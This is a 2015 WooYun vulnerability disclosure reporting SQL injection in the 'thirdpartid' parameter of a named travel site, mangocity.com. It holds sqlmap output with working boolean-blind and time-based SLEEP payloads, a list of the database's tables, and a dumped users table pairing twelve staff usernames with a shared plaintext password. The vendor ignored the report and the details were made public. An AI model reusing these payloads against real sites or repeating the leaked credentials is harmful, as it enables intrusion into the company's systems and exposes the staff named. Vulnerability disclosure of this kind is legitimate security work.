当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124848

漏洞标题：芒果网主站SQL注入（大量产品信息泄露+某表明文保存密码）

相关厂商：芒果网

漏洞作者： 安全小飞侠

提交时间：2015-07-06 17:58

修复时间：2015-07-11 18:00

公开时间：2015-07-11 18:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-06： 细节已通知厂商并且等待厂商处理中
2015-07-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

芒果网主站SQL注入（大量产品信息泄露+某表明文保存密码）

详细说明：

http://www.mangocity.com/index.php/freeline/productinfo_controller/journey_print?thirdpartid=222292p2
注入参数： thirdpartid
GET parameter 'thirdpartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: thirdpartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: thirdpartid=222292p2' AND 7974=7974 AND 'sVkC'='sVkC
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: thirdpartid=222292p2' AND (SELECT * FROM (SELECT(SLEEP(5)))BnJp) AND 'rusc'='rusc
---
[12:06:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12


Database: vacation_init
+-----------------------------+---------+
| Table                       | Entries |
+-----------------------------+---------+
| media                       | 120239  |
| product_detail_item         | 74889   |
| product_journey             | 41386   |
| album                       | 35244   |
| product_journey_album       | 28033   |
| product_detail              | 24963   |
| keyword                     | 17194   |
| product_arrival             | 14728   |
| product_departure_month     | 12257   |
| product_departure           | 9594    |
| product_tag                 | 8797    |
| product                     | 8321    |
| product_extra               | 8321    |
| product_album               | 7211    |
| product_lineinfo            | 5202    |
| pm_tui                      | 3125    |
| pm_tui_bak20150618          | 1962    |
| temp_update_product         | 1787    |
| product_accommodation       | 1458    |
| pm_params                   | 1268    |
| terms                       | 797     |
| product_theme               | 598     |
| common_config               | 415     |
| business_module_bak20150419 | 44      |
| business_module             | 43      |
| product_scenery             | 36      |
| users                       | 12      |
| business_type               | 10      |
+-----------------------------+---------+
Table: users
[12 entries]
+--------+-------------+-----------+
| roleId | username    | password  |
+--------+-------------+-----------+
| 0      | chenhuan    | mango2015 |
| 0      | xujia       | mango2015 |
| 0      | wuhongbo    | mango2015 |
| 0      | sunbaoyu    | mango2015 |
| 0      | songwanbing | mango2015 |
| 0      | renxianglin | mango2015 |
| 0      | pengwenhui  | mango2015 |
| 0      | panwei      | mango2015 |
| 0      | liuchunyan  | mango2015 |
| 0      | cms         | mango2015 |
| 0      | chenjie     | mango2015 |
| 0      | zhanglan    | mango2015 |
+--------+-------------+-----------+

漏洞证明：

http://www.mangocity.com/index.php/freeline/productinfo_controller/journey_print?thirdpartid=222292p2
注入参数： thirdpartid
GET parameter 'thirdpartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Parameter: thirdpartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: thirdpartid=222292p2' AND 7974=7974 AND 'sVkC'='sVkC
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: thirdpartid=222292p2' AND (SELECT * FROM (SELECT(SLEEP(5)))BnJp) AND 'rusc'='rusc
---
[12:06:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL 5.0.12

修复方案：

你懂的

版权声明：转载请注明来源 安全小飞侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-11 18:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无